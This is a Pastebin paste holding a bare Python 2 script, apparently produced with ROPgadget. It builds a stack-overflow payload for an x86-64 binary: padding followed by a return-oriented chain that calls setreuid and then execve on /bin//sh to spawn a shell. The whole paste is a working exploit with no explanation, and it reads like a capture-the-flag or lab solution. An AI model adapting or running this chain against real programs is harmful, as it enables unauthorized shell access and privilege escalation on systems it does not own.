Advertisement
Guest User

Untitled

a guest
Jun 27th, 2017
68
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.71 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # execve generated by ROPgadget
  3.  
  4. from struct import pack
  5.  
  6. # Padding goes here
  7. p = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  8.  
  9. p += pack('<Q', 0x000000000044d2b4) # pop rax ; ret
  10. p += pack('<Q', 113) # setruid
  11. p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
  12. p += pack('<Q', 1234)
  13. p += pack('<Q', 0x00000000004016d3) # pop rdi ; ret
  14. p += pack('<Q', 1234)
  15. p += pack('<Q', 0x0000000000437205) # pop rdx ; ret
  16. p += pack('<Q', 1234)
  17. p += pack('<Q', 0x0000000000400488) # syscall
  18. p += pack('<Q', 0x000000000041bd9f) # xor rax, rax ; ret
  19.  
  20. p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
  21. p += pack('<Q', 0x00000000006c0000) # @ .data
  22. p += pack('<Q', 0x000000000044d2b4) # pop rax ; ret
  23. p += '/bin//sh'
  24. p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret
  25. p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
  26. p += pack('<Q', 0x00000000006c0008) # @ .data + 8
  27. p += pack('<Q', 0x000000000041bd9f) # xor rax, rax ; ret
  28. p += pack('<Q', 0x0000000000467b51) # mov qword ptr [rsi], rax ; ret
  29. p += pack('<Q', 0x00000000004016d3) # pop rdi ; ret
  30.  
  31. p += pack('<Q', 0x00000000006c0000) # @ .data
  32.  
  33. p += pack('<Q', 0x00000000004017e7) # pop rsi ; ret
  34. p += pack('<Q', 0x00000000006c0008) # @ .data + 8
  35.  
  36. p += pack('<Q', 0x0000000000437205) # pop rdx ; ret
  37. p += pack('<Q', 0x00000000006c0008) # @ .data + 8
  38.  
  39. p += pack('<Q', 0x000000000044d2b4) # pop rax ; ret
  40. p += pack('<Q', 59) # sys_execve
  41. p += pack('<Q', 0x0000000000400488) # syscall
  42.  
  43. print p
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement